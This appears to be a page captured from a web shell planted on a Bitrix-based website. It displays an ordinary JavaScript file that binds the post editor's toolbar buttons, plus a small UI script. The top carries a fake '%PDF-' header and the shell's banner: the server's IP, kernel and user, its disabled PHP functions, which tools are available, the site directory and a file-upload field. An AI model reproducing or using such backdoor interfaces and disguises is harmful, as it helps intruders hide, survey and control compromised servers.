%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.147.74.27 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/.default/src/view-utils/ |
Upload File : |
import {Dom} from 'main.core'; import {EventEmitter, BaseEvent} from 'main.core.events'; import {Editor} from '../editor'; export default function bindToolbar(editor: Editor, htmlEditor) { const toolbar = editor.getContainer().querySelector('[data-bx-role="toolbar"]') if (toolbar.querySelector('[data-id="file"]')) { const fileButton = toolbar.querySelector('[data-id="file"]'); if (fileButton) { fileButton.addEventListener('click', () => { EventEmitter.emit(editor.getEventObject(), 'onShowControllers', fileButton.hasAttribute('data-bx-button-status') ? 'hide' : 'show'); }); EventEmitter.subscribe(editor.getEventObject(), 'onShowControllers', ({data}) => { if (data.toString() === 'show') { fileButton.setAttribute('data-bx-button-status', 'active'); } else { fileButton.removeAttribute('data-bx-button-status'); } }); fileButton.setAttribute('data-bx-files-count', 0); EventEmitter.subscribe(editor.getEventObject(), 'onShowControllers:File:Increment', ({data}) => { const count = data > 0 ? data : 1; const filesCount = Math.max(parseInt(fileButton.getAttribute('data-bx-files-count') || 0) + count, 0); if (filesCount > 0) { if (!fileButton['counterObject']) { fileButton['counterObject'] = new BX.UI.Counter({ value: filesCount, color: BX.UI.Counter.Color.GRAY, animate: true }); const container = fileButton.querySelector('span'); container.appendChild(fileButton['counterObject'].getContainer()); } else { fileButton['counterObject'].update(filesCount); } } fileButton.setAttribute('data-bx-files-count', filesCount); }); EventEmitter.subscribe(editor.getEventObject(), 'onShowControllers:File:Decrement', ({data}) => { const count = data > 0 ? data : 1; const filesCount = Math.max(parseInt(fileButton.getAttribute('data-bx-files-count') || 0) - count, 0); fileButton.setAttribute('data-bx-files-count', filesCount); if (fileButton['counterObject']) { fileButton['counterObject'].update(filesCount); } }); } } if (toolbar.querySelector('[data-id="search-tag"]')) { window['BXPostFormTags_' + editor.getFormId()] = new BXPostFormTags( editor.getFormId(), toolbar.querySelector('[data-id="search-tag"]') ); } if (toolbar.querySelector('[data-id="create-link"]')) { toolbar.querySelector('[data-id="create-link"]').addEventListener('click', (event) => { htmlEditor.toolbar.controls.InsertLink.OnClick(event); }); } if (toolbar.querySelector('[data-id="video"]')) { toolbar.querySelector('[data-id="video"]').addEventListener('click', (event) => { htmlEditor.toolbar.controls.InsertVideo.OnClick(event); }); } if (toolbar.querySelector('[data-id="quote"]')) { const quoteNode = toolbar.querySelector('[data-id="quote"]'); quoteNode.setAttribute('data-bx-type', 'action'); quoteNode.setAttribute('data-bx-action', 'quote'); quoteNode.addEventListener('mousedown', (event) => { htmlEditor.toolbar.controls.Quote.OnMouseDown.apply(htmlEditor.toolbar.controls.Quote, [event]); htmlEditor.CheckCommand(quoteNode); }); } if (editor.getContainer().querySelector('[data-bx-role="button-show-panel-editor"]')) { editor.getContainer().querySelector('[data-bx-role="button-show-panel-editor"]') .addEventListener('click', () => { editor.showPanelEditor(); }); } } <script> BX.ready(function() { var target = document.querySelector('[data-role="more-info"]'); if (target) { var styleAtt = getComputedStyle(target); var initialHeight = styleAtt.height; if (parseInt(styleAtt.height) > 260) { var arrowNode = document.createElement('div'); arrowNode.className = 'imconnector-field-more-info-block'; arrowNode.innerHTML = '<div class="imconnector-field-more-button"></div>'; target.style.cssText = ` height: 259px; overflow: hidden; transition: .4s; position: relative; `; target.addEventListener('click', function() { target.style.height = initialHeight; arrowNode.style.cssText = ` opacity: 0; pointer-events: none; `; }, false); target.appendChild(arrowNode); } } }); </script>